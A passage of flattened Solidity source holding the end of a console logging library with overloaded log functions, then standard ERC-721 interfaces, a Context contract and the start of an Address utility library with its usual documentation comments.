_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns 